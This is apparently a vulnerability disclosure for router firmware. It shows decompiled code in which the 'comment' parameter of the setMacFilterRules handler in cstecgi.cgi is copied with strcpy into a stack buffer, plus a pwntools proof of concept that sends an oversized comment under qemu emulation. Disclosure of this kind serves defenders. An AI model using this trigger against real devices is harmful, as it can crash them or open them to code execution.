

FUN_004196c8 (at address 0x04196c8) gets the JSON parameter comment, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
4 | undefined4 FUN 004196c8(undefined4 param 1)
5
6
7
    char *pcVar1;
    int iVar2;
8
    char *__src;
9
    char cVar3;
L0
L1
    int local_78;
L2
    long local_74;
L3
    undefined4 uStack112;
    int uStack108 [14];
L5
    undefined4 uStack40;
    undefined4 uStack36;
L6
L7
    undefined4 uStack32;
    undefined uStack28;
L8
L9
    pcVar1 = (char *)websGetVar(param_1, "addEffect", "0");
20
    iVar2 = atoi(pcVar1);
21
    pcVar1 = (char *)websGetVar(param_1,"enable","0");
23
    local_78 = atoi(pcVar1);
24
    pcVar1 = (char *)websGetVar(param_1, "macAddress", "");
    __src = (char *)websGetVar(param_1,"comment","");
25
26
    uStack40 = 0;
27
    uStack36 = 0;
    uStack32 = 0;
28
       if (iVar2 == 0) {
47
 48
         cVar3 = *pcVar1;
 49
         if (cVar3 != '\0') {
 50
            iVar2 = 0;
 51
            do {
 52
              if (cVar3 != ':') {
 53
                 *(char *)((int)&uStack40 + iVar2) = cVar3;
 54
                 iVar2 = iVar2 + 1;
 55
              }
 56
              cVar3 = pcVar1[1];
 57
              pcVar1 = pcVar1 + 1;
 58
            } while (cVar3 != '\0');
 59
         if (uStack40._0_1_ == '\0') {
 60
 61
            return 0;
 62
 63
         strlen((char *)&uStack40);
 64
          string_to_hex((char *)&uStack40,&local_74);
         strcpy((char *)((int)&uStack112 + 2),__src);
 65
 66
          apmib_set(0x2007e,&local_74);
 67
         apmib_set(0x1007d,&local_74);
68
       }
```

```
from pwn import *
import json
data = {
    "topicurl": "setting/setMacFilterRules",
    "addEffect": "0",
    "macAddress": "A:A:A:A",
    "comment": "A"*0x200,
}
data = json.dumps(data)
print(data)
argv = [
    "qemu-mips-static",
    "-g", "1234",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]
a = process(argv=argv)
a.sendline(data.encode())
a.interactive()
```